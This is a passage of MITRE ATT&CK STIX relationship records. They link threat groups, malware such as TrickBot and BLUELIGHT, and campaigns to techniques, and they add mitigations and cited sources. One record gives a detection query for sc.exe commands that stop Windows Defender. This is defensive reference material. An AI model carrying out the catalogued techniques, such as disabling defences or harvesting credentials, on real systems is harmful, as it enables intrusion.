2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5adfebe4-4bfd-4848-9727-379d7284dcc8","type":"relationship","created":"2021-10-01T20:57:16.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.151Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect a list of anti-virus products installed on a machine.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ae4207c-95db-4a16-bfac-1d8daf29ba4a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}],"modified":"2019-06-24T19:15:06.614Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) leverages a custom packer to obfuscate its functionality.(Citation: S2 Grupo TrickBot June 2017)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5aecf348-f5d8-4e96-93bb-d9517913167f","created":"2024-02-26T14:24:46.779Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-26T14:24:46.779Z","description":"Set and enforce secure password policies for accounts.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5af6fee5-4361-4a84-b214-f30aa6a9506e","created":"2023-02-10T18:45:50.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:16:49.941Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can communicate with its C2 servers via HTTP.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b0329a9-aebd-4216-94d8-a39021139b80","created":"2022-09-29T19:12:53.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:58:24.965Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b078c2e-229d-4ef0-8e46-2164354caee9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"},{"source_name":"Unit 42 Cobalt Gang Oct 2018","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/","description":"Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."}],"modified":"2020-03-17T13:53:21.720Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails containing malicious attachments that require users to execute a file or macro to infect the victim machine.(Citation: Talos Cobalt Group July 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b094d05-fb53-4bf6-9e97-4e44ce5f2514","created":"2023-09-18T16:07:42.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:45:42.960Z","description":"In an attempt to avoid detection after compromising a machine, threat actors often try to disable Windows Defender. This is often done using “sc” [service control], a legitimate tool provided by Microsoft for managing services. This action interferes with event detection and may lead to a security event going undetected, thereby potentially leading to further compromise of the network.\n\nNote: Though this analytic is utilizing Event ID 1 for process creation, the arguments are specifically looking for the use of service control for querying or trying to stop Windows Defender.\n\nAnalytic 1 - Detecting Tampering of Windows Defender Command Prompt\n\n(source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") Image=\"C:\\\\Windows\\\\System32\\\\sc.exe\" (CommandLine=\"sc *config*\" OR CommandLine=\"sc *stop*\" OR CommandLine=\"sc *query*\" )","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b0a440d-575a-4c1a-97aa-56945686f85a","type":"relationship","created":"2020-03-27T21:06:33.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:06:33.285Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b125600-b528-49d4-9d1b-28eae9f8c8a9","type":"relationship","created":"2021-09-21T15:02:49.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Wevtutil Microsoft Documentation","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil","description":"Microsoft. (n.d.). wevtutil. Retrieved September 14, 2021."}],"modified":"2021-09-21T17:57:23.333Z","description":"[Wevtutil](https://attack.mitre.org/software/S0645) can be used to disable specific event logs on the system.(Citation: Wevtutil Microsoft Documentation)","relationship_type":"uses","source_ref":"tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b162339-4155-4757-8ec1-11834a613c8a","type":"relationship","created":"2019-03-11T19:24:08.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.538Z","description":"[Empire](https://attack.mitre.org/software/S0363) can enumerate Security Support Providers (SSPs) as well as utilize [PowerSploit](https://attack.mitre.org/software/S0194)'s Install-SSP and Invoke-Mimikatz to install malicious SSPs and log authentication events.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b17eed1-2db5-4c35-b04e-cbb0b7edb8d4","type":"relationship","created":"2021-12-06T23:14:44.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:14:44.932Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has used -WindowsStyle Hidden to hide the command window.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b1c9c38-7abd-4e2e-8a67-2d15f91eabec","created":"2023-03-14T17:46:58.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T14:01:56.993Z","description":"Monitor executed commands and arguments for indicators of obfuscation and potentially suspicious syntax such as uninterpreted escape characters (e.g., `^`).\n\nAlso monitor command-lines for syntax-specific signs of obfuscation, such as variations of arguments associated with encoding.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b2457a6-a2b8-4809-a2a0-68d1c74bbb9b","type":"relationship","created":"2020-05-08T18:56:22.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."},{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:44.006Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has used PowerShell to execute malicious commands and payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas December 2014)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2019-04-29T18:23:16.001Z","description":"[H1N1](https://attack.mitre.org/software/S0132) has functionality to copy itself to removable media.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b271a21-d91f-489b-b6a1-b223a9094df5","type":"relationship","created":"2019-07-19T17:14:24.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:29.373Z","description":"(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5b2b610f-7563-49d0-8ee3-066cc82fd35c","created":"2022-06-06T18:46:46.694Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can use a COM component to generate scheduled tasks.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-06T18:46:46.694Z","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b2c87e3-8eac-48b3-832b-2290b367403d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"},{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2020-06-02T16:14:00.468Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered information about local network connections using [netstat](https://attack.mitre.org/software/S0104).(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b2d2786-1ccb-41d9-90dc-4e11d517bfe2","type":"relationship","created":"2019-06-24T16:07:33.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.microsoft.com/en-us/kb/967715","description":"Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.","source_name":"Microsoft Disable Autorun"},{"url":"https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx","description":"Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.","source_name":"TechNet Removable Media Control"}],"modified":"2021-07-20T02:18:04.877Z","description":"Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b2f0fb3-5877-4fa2-bed1-1962423caccd","type":"relationship","created":"2019-01-30T14:11:44.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/","source_name":"Trend Micro Trickbot Nov 2018"},{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."},{"source_name":"TrendMicro Trickbot Feb 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/","description":"Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."}],"modified":"2020-09-11T13:27:44.572Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP.(Citation: Trend Micro Trickbot Nov 2018)(Citation: Cyberreason Anchor December 2019) Additionally, it searches for the \".vnc.lnk\" affix to steal VNC credentials.(Citation: TrendMicro Trickbot Feb 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b2fb4ff-3b19-40a1-bd49-bd5b7d0dc034","created":"2024-03-28T15:46:51.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:14:29.951Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) utilized RDP throughout an operation.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b37828a-67db-4d36-831f-be0a6c3003b6","type":"relationship","created":"2020-03-19T15:08:50.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T15:08:50.236Z","relationship_type":"revoked-by","source_ref":"attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b37bd8c-d5a6-4564-a110-bb515ff9f78c","type":"relationship","created":"2021-10-15T16:57:22.419Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-10-15T18:50:03.563Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has collected information about running processes.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b3ab1c3-e885-40d8-9c5e-7f9c18c62ee7","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Use process monitoring to monitor the execution and arguments of mshta.exe.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T01:34:10.822Z","description":"[httpclient](https://attack.mitre.org/software/S0068) encrypts C2 content with XOR using a single byte, 0x12.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--e8268361-a599-4e45-bd3f-71c8c7e700c0","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b48c2b1-0ce7-4856-9bc7-ae359826550c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos NavRAT May 2018","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","url":"https://blog.talosintelligence.com/2018/05/navrat.html"}],"modified":"2020-03-16T17:19:47.387Z","description":"[NavRAT](https://attack.mitre.org/software/S0247) can download files remotely.(Citation: Talos NavRAT May 2018)","relationship_type":"uses","source_ref":"malware--53a42597-1974-4b8e-84fd-3675e8992053","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5b4a0fe7-5fcc-4f74-8914-2d4bc25b9d02","created":"2022-02-18T16:58:12.029Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuietSieve](https://attack.mitre.org/software/S0686) can check C2 connectivity with a `ping` to 8.8.8.8 (Google public DNS).(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T12:27:24.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b4d7467-8418-42c8-bb6f-ad275fc7fb40","created":"2022-10-04T21:32:24.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:32:58.546Z","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042) has stored collected data under `%%\\\\CrashLog.txt`.(Citation: Mandiant UNC3890 Aug 